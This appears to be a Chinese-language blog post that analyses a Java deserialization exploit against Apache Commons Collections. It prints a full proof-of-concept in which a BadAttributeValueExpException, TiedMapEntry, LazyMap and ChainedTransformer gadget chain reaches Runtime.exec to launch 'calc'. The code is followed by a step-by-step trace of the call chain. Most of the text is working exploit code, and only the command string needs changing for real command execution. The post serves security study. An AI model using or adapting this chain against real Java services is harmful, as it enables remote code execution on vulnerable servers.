BadAttributeValueException
package org.lain.poc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
//傳入Runtime類
new ConstantTransformer(Runtime.class),
//反射調用getMethod方法,然后getMethod方法再反射調用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射調用invoke方法,然后反射執行Runtime.getRuntime()方法,返回Runtime實例化對象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射調用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//decorate實例化LazyMap類。
// LazyMap類的get方法調用了transform,transform可以通過反射機制執行命令
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //TiedMapEntry中調用了toString方法->調用了map的get方法
BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的構造方法調用toString方法
// val是私有變量,所以利用下面方法進行賦值,val變量賦值為TiedMapEntry的實例化對象,
// 重寫了BadAttributeValueExpException的readObject方法的val變量賦值為BadAttributeValueExpException類,
// 就會調用BadAttributeValueExpException的val = valObj.toString();觸發上面的
Field valfield = poc.getClass().getDeclaredField("val");
// System.out.println(valfield);
valfield.setAccessible(true);
valfield.set(poc, entry);
File f = new File("poc.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(poc);
out.close();
//從文件中反序列化obj對象
FileInputStream fis = new FileInputStream("poc.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢復對象
ois.readObject();
ois.close();
}
}
參考鏈接的第一篇文章主要寫的是poc怎么構造的,思路很清晰了,這篇文章從逆向分析,看下怎么反序列的。調用鏈如下:
BadAttributeValueException.readObject ->
TiedMapEntry.toString ->
LazyMap.get ->
ChainedTransformer.transform
執行BadAttributeValueException.readObject前,把val賦值為TiedMapEntry這個類
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);
就會調用TiedMapEntry類的toString方法。
調用getValue又調用get方法
map賦值給lazyMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
這就調用了lazyMap的get方法,factory賦值為transformerChain,這就調用了transformerChain.transform(key);
transform方法
參考鏈接:
https://p0sec.net/index.php/archives/121/
https://lightless.me/archives/java-unserialization-apache-commons-collections.html